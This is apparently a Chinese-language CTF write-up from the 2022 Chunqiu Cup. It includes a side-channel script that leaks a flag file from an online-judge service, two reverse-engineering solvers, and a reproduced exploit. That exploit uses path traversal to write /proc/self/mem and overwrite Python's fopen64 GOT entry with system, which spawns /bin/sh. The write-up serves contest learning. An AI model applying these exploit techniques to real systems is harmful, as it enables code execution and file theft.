2022年春秋杯部分赛题wp...

【WP】2022 春秋杯 Write Up

前言

本次春秋杯是个人赛,打的很捞,但是有许多有趣的题目,学到了一些新东西

最终是解了4+1的题目,一个问卷就不算了。最终排位23。

image-20221227185947636

Pwn

online_judge

虽然叫作pwn,但是我感觉是web。。

使用侧信道攻击,因为oj的测试用例只有一个3,所以可以用这个3来进行碰撞,脚本如下:

import requests, time

host, port = "47.104.129.38", 10101
base_url = f"http://{host}:{port}"
token_url = f"{base_url}/getToken"
judge_url = f"{base_url}/judge"


def getToken():
    result = requests.post(token_url).json()
    # print(result)
    assert not result["error"], "System error"
    return result["data"]["token"]


def judge(chall: str, src: str, language: str = "C"):
    data = {
        "src": src,
        "language": language,
        "action": chall,
        "token": token,
    }
    result = requests.post(judge_url, json=data).json()
    # print(result)
    time.sleep(0.5)
    return result['data'] == 'SUCCESS'


token = getToken()
print(token)

flag = 'flag{7199758b1ad44d49990635e25b204eaa}'
for i in range(len(flag), 100):
    for j in range(32,127):
        py_src = f'''flag = open("/flag/flag").read()\nprint(ord(flag[{i}])-{j}+3)'''
        print(f"cur --> {chr(j)}")
        if judge('test', py_src, 'PYTHON'):
            flag += chr(j)
            print(f"flag --> {flag}")
            break

print(flag)

访问太多次会报错,所以分段进行爆破

Reverse

easy_python

30s看完字节码,就是右移5位或上左移三位

# flag[i] = flag[i]  >> 5 | flag[i] << 3
from ctypes import c_uint8
data = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39, 230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]

flag = ""
for i in range(len(data)):
    flag += chr(c_uint8((data[i] >> 5) | (data[i] << 3)).value)
    
print(flag)

赛后看别人的wp,直接找ChatGPT写的,2s出答案。。

godeep

第一天来看的时候不是很想逆,甚至不想动调。

第二天看很多人做出来,也去尝试了一下。

非常明显的二叉树结构,通过搜索字符串找到right的位置,然后一层一层交叉引用上去,找到起点。

但是手动交叉引用太慢了,所以写了一个ida python的脚本

这个288是试出来的,通过修改函数名称一个一个试出来的

谁是0谁是1也是试出来的,谁乱码了就不是谁

import idc
import idautils
import ida_name

addr = 0x50AF00
flag = ""
for i in range(288):
    try:
        re_addr = idautils.CodeRefsTo(addr, True).__next__()
        print(f"re --> {re_addr:#x}")
        next_head = idc.next_head(re_addr)
        print(f"next_head --> {next_head:#x}")
        opcode = idc.print_insn_mnem(next_head)
        print(f"opcode --> {opcode}")
        if str(opcode) != "jmp":
            flag += "0"
        else:
            flag += "1"
        addr = idc.get_func_attr(re_addr, idc.FUNCATTR_START)
        # ida_name.set_name(addr, f"start{i}")
        print(f"start{i} --> {addr:#x}")
    except Exception as e:
        print(e)
        break

print(flag)
print(len(flag))


def bin2ascii(input, length=8):
    return "".join(
        [
            chr(int(c, base=2))
            for c in [input[i : i + length] for i in range(0, len(input), length)]
        ]
    )


print(bin2ascii(flag[::-1]))

image-20221227185442704

Misc

reindeer game

看我一命通关!

reindeer-202212253303778

楠之勇者传(赛后复现)

赛后复现的,也没有打比赛靶机,不过个人感觉是可以穿的。

比赛的过程中在没有给hint2的时候就想到了打/proc/self/mem,但是当时懒得去调试docker。复现的时候发现其实非常的简单。。。

在获取魔法法杖之后,可以使用base64写文件,这个时候可以使用../../proc/self/mem去绕过/tmp/前缀。

/proc/self/memfopen64的got表为system的plt地址,使用给的f.seek()去指向got表

下面是复现的过程:

首先先去docker搞一个ubuntu18.04的容器,然后apt install python3

/usr/bin/python3.6下载到本地,使用pwntools分析got和plt,获取地址

from pwn import *

elf = ELF("./python3.6")

print(hex(elf.plt["system"]))   # 0x41f4e0
print(hex(elf.got['fopen64']))  # 0x9b4c78

同时使用checksec查看python3.6这个文件,发现是没有开启PIE的,所以直接覆盖got表就行了

image-20221227183819301

我们同时可以在docker容器里,使用python运行如下脚本来看/proc/self/maps,这个文件用来记录当前跑起来的文件的内存映射

f = open("/proc/self/maps", "r")
print(f.read())
f.close()

可以看到确实是从0x400000开始的

image-20221227184003714

所以我们的目的就是让0x9b4c78这个fopen64的got表的地址指向0x41f4e0这个system的plt地址,这样使用open(),就是执行了system()

用如下脚本来进行复现

import base64
f = open("/proc/self/mem", "wb")
f.seek(int(input(), 16), 0)         # 读入0x9b4c78 fopen64的got
f.write(base64.b64decode(input()))  # 写入0x41f4e0 system的plt
f.close()

x = input("open what\n")
f = open(x)
f.close()

第一个位置输入0x9b4c78让其seek到fopen64的got表

第二个位置输入的是base64.b64encode(p64(elf.plt["system"])*100)的结果,也就是覆盖成system的plt地址,这里写入100个是因为我写一个又不成功的情况,写入100个成功的概率非常大,具体我也不是很懂

第三个地方就是执行open(),我们直接输入/bin/sh,这样实际执行的就是system("/bin/sh") 最终getshell

image-20221227184248613